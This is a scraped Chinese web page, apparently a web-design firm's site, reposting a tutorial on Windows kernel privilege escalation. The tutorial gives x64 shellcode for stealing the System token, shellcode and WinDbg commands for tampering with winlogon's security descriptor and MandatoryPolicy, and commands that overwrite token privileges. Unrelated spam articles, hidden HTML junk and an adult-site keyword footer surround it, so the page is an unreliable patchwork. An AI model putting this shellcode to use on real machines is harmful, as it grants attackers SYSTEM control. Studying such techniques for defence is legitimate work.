1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          windows kernel提權

          來源:互聯網轉載 時間:2024-01-29 07:48:37

          前置知識推薦:

          https://cloud.tencent.com/developer/article/1471233

          http://terminus.rewolf.pl/terminus/

          https://ntdiff.github.io/#versionLeft=Win7%2Fx64%2FSystem32&filenameLeft=ntoskrnl.exe&typeLeft=Standalone%2F_KPCR&versionRight=Win10_20H2_20H2%2Fx64%2FSystem32&filenameRight=ntoskrnl.exe&typeRight=Standalone%2F_KPCR

          令牌竊取

          在Windows中令牌竊取是一個常用于權限提升的技術,再利用過程中必須定位EPROCESS結構,一般我

          們會使用常量來定位此類結構,比如在GS中0x188為KTHREAD結構,我們可以通過其來定位其他結構,

          我們可以先把它放入R9寄存器中:

          mov r9, qword ptr gs:[0x188]

          目前我們已經在r9中保存了KTHREAD,下面我們可以來定位Process,也就是在KTHREAD的+0x200 處。

          轉換為匯編就是:

          mov r9, qword ptr[r9+0x220]

          由于我們要提升父進程的權限,我們需要找到cmd.exe的 ProcessID

          轉換成匯編就是:

          mov r8, qword ptr[r9+0x540]

          下面就是找到它的EPROCESS地址,我們可以在偏移 +0x440 和 +0x448 處看到我們有 ProcessID 和ActiveProcessLinks 結構。

          后一個值是可以解析的 EPROCESS 對象的鏈接列表,其中每個 PID 與屬于 cmd.exe 的 PID 進行比較,

          保存在 r8 寄存器中。

          mov rax, r9loop1:mov rax, qword ptr [rax + 0x448]sub rax, 0x448cmp qword ptr[rax + 0x440],r8jne loop1

          一旦我們找到了cmd.exe的 EPROCESS 數據結構,我們就可以檢查它并在偏移量 0x4b8 處找到 Token 對象。

          mov rcx, raxadd rcx, 0x4b8

          下面就是在剛才的進程列表中尋找system進程,并復制令牌。

          mov rax, r9loop2:mov rax, qword ptr [rax +0x448].sub rax, 0x448cmp [rax + 0x440], 4jne loop2mov rdx, reaxadd rdx, 0x4b8

          然后就是覆蓋令牌

          mov rdx, qword ptr [rdx]mov qword ptr [rcx], rdxret

          最后的shellcode

          [BITS 64]start:mov r9, [gs:0x188] ;stores KPROCESS/currentThread valuemov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREADmov r8, [r9+0x540] ;stores InheritedFromUniqueProcessId(cmd.exe PID)mov rax, r9 ;moves cmd's EPROCESS into eaxloop1:mov rax, [rax + 0x448] ;saves the next linked list pointer intoraxsub rax, 0x448 ;gets the KPROCESScmp [rax + 0x440],r8 ;compare the ProcessId with cmd's.jne loop1 ;if not equal, repeatmov rcx, rax ;if equal, saves cmd's EPROCESS into rcxadd rcx, 0x4b8 ;store cmd's token into rcxmov rax, r9 ;moves cmd's EPROCESS into eaxloop2:mov rax, [rax +0x448] ;saves the next linked list pointer intoraxsub rax, 0x448 ;gets the KPROCESScmp byte [rax + 0x440], 4 ;compare the ProcessId with System(4)jne loop2 ;if not equal, repeatmov rdx, rax ;if equal, saves System's EPROCESS intordxadd rdx, 0x4b8 ;stores System's token pointer into rdxmov rdx, [rdx] ;stores System's token value into rdxmov [rcx], rdx ;replace cmd's original token withSystem'sret

          windbg操作,查找system進程:

          查看其結構:

          在0x4b8處為Token其對應的結構體如下:

          其RefCnt為0y1010,即十進制的10,你可以看到其為10,但我們需要取反:

          然后啟動cmd進程:

          替換Token:

          ACL修改

          ACL為Windows安全模型中重要的一環,在windows(1607 (Build 14393))版本之前的系統中,可以使用

          SecurityDescriptor置空來實現對ACL的任意操控,比如某個進程以system進程啟動,在具有ACL的情況

          下我們在沒用相關權限的情況下是無法對其進行操作的,但如果將其ACL置空我們便可以對其進行操

          作,然后使用如進程注入之類的技術來進行system權限的shell派生,達到權限提升的操作。

          拿explorer為例,查看其結構

          !process 0 0 explorer.exe

          查看Object結構

          !object ffffc08f854ca080

          其中的ObjectHeader為結構的具體地址,查看其結構:

          可以看到在0X028處為安全描述符。而Body處則是指向進程對象的起始位置。你此時查看其描述是無法 看到的:

          因為該地址為偽地址,你需要將其第四位置空,簡單來說就是用&操作:

          其本質為SecurityDescriptor 指針指向 SECURITY_DESCRIPTOR 對象,該對象包含具有一個或多個 ACCESS_ALLOWED_ACE 結構的 DACL:

          typedef struct _SECURITY_DESCRIPTOR {UCHAR Revision;UCHAR Sbz1;SECURITY_DESCRIPTOR_CONTROL Control;PSID Owner;PSID Group;PACL Sacl;PACL Dacl;} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

          其中AceCount為0x3,說明其包含3個ACE,其類型皆為ACCESS_ALLOWED_ACE_TYPE,且其中一個用 于S-1-5-18:system。

          而如果此時你將其置空的話:

          eq 0xffffd28d`fcebc763 0

          則會觸發藍屏:

          這是因為筆者的測試系統為20H2,在windows的1607 之后增加了緩解ACL置空攻擊的手段,其偽代碼 如下:

          if(ObjectHeader.SecurityDescriptor == NULL && (ObjectType.SecurityRequired ||(ObjectHeader.InfoMask &2) != 0)){BugCheckEx(BAD_OBJECT_HEADER);}

          如果想查看ACE的話,可以看到安全描述符的結構(ACE在0x30處):

          因為微軟并沒有提供相關結構,所以只能手工查看:

          而我們的目標也就是把S-1-5-18修改為S-1-5-15,即18(0x12) 改成15(0xf)。因為我目前的進程非system 進程,所以查看的話顯示的就是15:

          所以我換成一個system進程即winlogon進程再來查看:

          db ffff9c0a87e44760+48 L1

          至于48這個值怎么來的,則是前人總結的結果,而我們只需要修改其為b即可達到我們的效果,修改的信 息:

          eb ffff9c0a87e44760+48 b

          已變成s-1-5-11。process explore顯示如下:

          但此時你仍然無法完成利用進程注入派生system進程的過程:

          這個跟我們的進程上下文有關,我們可以查看注入進程的Token信息:

          dt _Token (poi(ffff818dc050a080+4b8) & fffffffffffffff0)

          其中的MandatoryPolicy值為3。而默認winlogon進程的MandatoryPolicy的值為1。

          而按照msdn所說只要將其該為0即可注入:

          eb (poi(ffff818dc050a080+4b8) & fffffffffffffff0)+0d4 0

          此時再進行注入,成功得到system的cmd:

          下面就是shellcode的編寫了,跟之前的一樣通過gs找KTHREAD然后用KTHREAD找EPROCESS

          mov r9, [gs:0x188] ;stores KPROCESS/currentThread valuemov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREADmov rax,r9

          然后在5a8處找到ImageFileName:

          實現:

          mov rax, [rax+448h]procloop:lea rbx, [rax-448h]mov rax, [rax]add rbx, 5a8hcmp dword ptr [rbx], 6c6e6977hjne procloop

          找到后就是利用其SecurityDescriptor來將其偏移處的地址改為0:

          sub rbx, 458hmov rax, qword ptr [rbx]and rax, 0FFFFFFFFFFFFFFF0hadd rax, 48hmov byte ptr [rax], 0bh

          然后就是修改令牌:

          add rcx, 4b8hmov rax, qword ptr [rcx]and rax, 0FFFFFFFFFFFFFFF0hadd rax, 0d4hmov byte ptr [rax], 0ret

          Token修改

          在Token結構體中,有一個名為Privileges的屬性,其本質為一個_SEP_TOKEN_PRIVILEGES結構體

          而我們則是需要修改該結構體實現權限提升

          查看其結構體與其權限:

          然后修改我們cmd的結構體:

          lkd> eq ffffc70255ded060+0x040 0x0000001f`f2ffffbclkd> eq ffffc70255ded060+0x048 0x0000001f`f2ffffbc

          此時已獲得所有權限:

          請嚴格遵守網絡安全法相關條例!此分享主要用于學習,切勿走上違法犯罪的不歸路,一切后果自付!

          標簽:WINDOWS KERNEL-

          網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...

          在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...

          在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...

          Cf綠色聯盟怎么退?聽說退了會封號?你好,LZ。CF綠色聯盟can 不要放棄。我建議既不退出也不開G,如果LZ堅持退出,可以開G,封了就自動退出。只會封半年,就看LZ有沒有耐心了。我再提醒你一次,如果你打開它,它被封了,你覺得你能找到什么樣的解封者?這樣肯定不行。這些都是騙人的。;的錢。cf綠色聯盟怎么退出?成功加入綠色聯盟,過一段時間想退出怎么辦?打開CF官網綠色聯盟的網頁,點擊退出綠色聯盟。...

          nba2kol哪些球員可以秒板?姚明,我記得有個送姚明的活動,然后我就帶著姚明到處上街了。二板沒解釋。其次,我不得不提到科迪凱勒。第二板不是蓋的,綠卡經??梢猿?。你可以試試?;蛘進ackey,Acic,Youdu。光是搶籃板就了。nba2k online怎么秒板?關于二板循環有兩種說法:第一種是球落地一秒后才觸框。第二種:球剛碰到框架,就會秒掉球。第二板的關鍵:加速A第二板的時機和站位:架前一小...

          怎樣屏蔽360彈出的廣告?這個你安裝一個360安全衛士最新版8.0正式版的,在它的網盾里有個廣告過濾,你按你的需要來自動打開過濾功能就可以了。如果沒有我還是有問題那肯定用360安全衛士進行插件掃描,清除掉,和修復系統.怎樣關閉瀏覽器中的屏蔽廣告的插件?1、要是你找不到插件的位置,這樣你可以不是把它不小心碰到追蹤了,實際上它還在后臺經營管理。那么怎樣才能找不到這些插件呢?以360安全瀏覽器為例子,首...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>